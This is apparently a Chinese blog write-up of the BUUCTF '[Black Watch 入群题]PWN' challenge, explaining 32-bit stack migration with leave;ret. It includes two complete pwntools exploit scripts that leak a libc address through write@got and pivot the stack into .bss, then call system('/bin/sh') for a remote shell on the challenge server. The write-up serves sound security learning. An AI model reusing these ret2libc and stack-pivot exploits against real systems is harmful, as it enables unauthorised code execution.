[Black Watch 入群题]PWN(栈迁移)

先检查一下保护,32位的
image
分析一下代码,发现buf距离ebp为0x18(24),但是read只溢出0x20(32),也就是只溢出8个字节,刚好覆盖到ret。
第一个read读取0x200到s(.bss段)
image
两个write会打印m1和m2,点击m1,m2查看
image
因为溢出不够,这时候我们可以考虑栈迁移,因为没sys和binsh,所以考虑用libc
image

exp

from pwn import *
from LibcSearcher import *

context.log_level='debug'
io = remote('node5.buuoj.cn',28243)
elf = ELF('./spwn')
main = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
s_addr=0x0804A300
leave_ret=0x08048511
payload1 = b'aaaa' + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
#payload1=payload1.ljust(24,b'\x00')
io.sendlineafter("name?",payload1)
payload2=cyclic(24)+p32(s_addr)+p32(leave_ret)
io.sendlineafter("say?",payload2)
writes = u32(io.recv(4))
print(hex(writes))

libc = LibcSearcher('write',writes)
libc_base = writes - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload3 = b'aaaa' + p32(system_addr) + p32(0) + p32(binsh_addr)
#如果不用b‘aaaa’,payload3 = p32(system_addr) + p32(0) + p32(binsh_addr)
#payload4=cyclic(24)+p32(s_addr-4)+p32(leave_ret)
io.sendlineafter("name?",payload3)
payload4=cyclic(24)+p32(s_addr)+p32(leave_ret)
io.sendlineafter("say?",payload4)
io.interactive()
这会执行两次leave_ret,第一次是程序固有的,第二次是我们把ret的地址覆盖成的leave_ret 第一次:此时ebp里的值已经被我们覆写成fake stack, **先leave**,mov esp,ebp,将ebp的值赋给esp,所以esp会指向ret上面的ebp,再pop ebp,也就是ebp弹到它所被覆写的值,fake stack上面,然后esp加4(32位),加到了ret那里。(下图是变化后的结果)

image

再ret,pop eip,eip里的值为leave,ret。因为ret,esp还要往下加4
image
第二次:leave,esp指向ebp的位置,也就是上面,然后ebp被pop到某个地方,接着esp往下加4
image
ret
栈迁移:https://www.bilibili.com/video/BV1cw411G7uC/?spm_id_from=333.337.search-card.all.click&vd_source=2b7f8792b4af9ff7bc41485300796e37

这个也可以,记得删掉send后面的换行line
from pwn import *
libc=ELF('./libc-2.23.so')

context.log_level='debug'
io = remote('node5.buuoj.cn',29477)
elf = ELF('./spwn')
main = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
s_addr=0x0804A300
leave_ret=0x08048511
payload1 = b'aaaa' + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
#payload1=payload1.ljust(24,b'\x00')
io.sendafter("name?",payload1)
payload2=cyclic(24)+p32(s_addr)+p32(leave_ret)
io.sendafter("say?",payload2)
writes = u32(io.recv(4))
print(hex(writes))

libc_base = writes - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search(b'/bin/sh\x00').__next__()
payload3 = b'aaaa' + p32(system_addr) + p32(main) + p32(binsh_addr)
#payload3=payload2.ljust(24,b'\x00')
io.sendafter("name?",payload3)
payload4=cyclic(24)+p32(s_addr)+p32(leave_ret)
io.sendafter("say?",payload4)
io.interactive()
?

posted @   fdddddd  阅读(4)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
点击右上角即可分享
微信分享提示